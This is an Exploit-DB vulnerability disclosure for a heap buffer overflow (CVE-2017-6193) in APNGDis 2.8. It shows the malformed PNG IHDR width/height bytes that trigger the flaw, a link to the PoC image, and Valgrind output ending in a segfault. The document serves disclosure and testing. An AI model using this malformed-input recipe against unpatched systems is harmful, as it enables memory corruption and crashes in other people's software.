APNGDis 2.8 - 'image width / height chunk' Heap Buffer Overflow

EDB-ID:

41669


Platform:

Multiple

Published:

2017-03-14

# Exploit Title: APNGDis image width / height Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6193

Additional analysis:
https://www.onvio.nl/nieuws/cve-2017-6193

POC:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41669.png

In the first bytes of the PoC, positions +0x10 through +0x17 are malformed to contain large values:

‰  P  N  G  .  .  .  .  .  .  .  .  I  H  D  R
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 

.  .  .  .  .  .  .  . 
00 0F 00 00 00 0F 00 00 

^  ^  ^  ^  ^  ^  ^  ^

Valgrind:


Reading '../w_h_chunk_poc.png'...
==10563== Invalid read of size 8
==10563==    at 0x4C30260: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x5edb3c8 is 28,792 bytes inside a block of size 65,593 free'd
==10563==    at 0x4C2CDDB: free (vg_replace_malloc.c:530)
==10563==    by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
==10563==    by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Block was alloc'd at
==10563==    at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==10563==    by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
==10563==    by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
==10563==    by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== Invalid write of size 8
==10563==    at 0x4C30265: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x5edbad8 is 30,600 bytes inside a block of size 65,593 free'd
==10563==    at 0x4C2CDDB: free (vg_replace_malloc.c:530)
==10563==    by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
==10563==    by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Block was alloc'd at
==10563==    at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==10563==    by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
==10563==    by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
==10563==    by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== Invalid read of size 8
==10563==    at 0x4C30272: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x5edb3b8 is 28,776 bytes inside a block of size 65,593 free'd
==10563==    at 0x4C2CDDB: free (vg_replace_malloc.c:530)
==10563==    by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
==10563==    by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Block was alloc'd at
==10563==    at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==10563==    by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
==10563==    by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
==10563==    by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== Invalid read of size 8
==10563==    at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==10563== 
==10563== 
==10563== Process terminating with default action of signal 11 (SIGSEGV)
==10563==  Access not within mapped region at address 0x0
==10563==    at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  If you believe this happened as a result of a stack
==10563==  overflow in your program's main thread (unlikely but
==10563==  possible), you can try to increase the size of the
==10563==  main thread stack using the --main-stacksize= flag.
==10563==  The main thread stack size used in this run was 8388608.
==10563== 
==10563== HEAP SUMMARY:
==10563==     in use at exit: 16,777,901 bytes in 10 blocks
==10563==   total heap usage: 24 allocs, 14 frees, 16,997,058 bytes allocated
==10563== 
==10563== 64 bytes in 2 blocks are definitely lost in loss record 6 of 9
==10563==    at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==10563==    by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==10563==    by 0x10A24D: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:244)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== LEAK SUMMARY:
==10563==    definitely lost: 64 bytes in 2 blocks
==10563==    indirectly lost: 0 bytes in 0 blocks
==10563==      possibly lost: 0 bytes in 0 blocks
==10563==    still reachable: 16,777,837 bytes in 8 blocks
==10563==         suppressed: 0 bytes in 0 blocks
==10563== Reachable blocks (those to which a pointer was found) are not shown.
==10563== To see them, rerun with: --leak-check=full --show-leak-kinds=all
==10563== 
==10563== For counts of detected and suppressed errors, rerun with: -v
==10563== ERROR SUMMARY: 1028641 errors from 5 contexts (suppressed: 0 from 0)
Segmentation fault




w_h_chunk_poc.png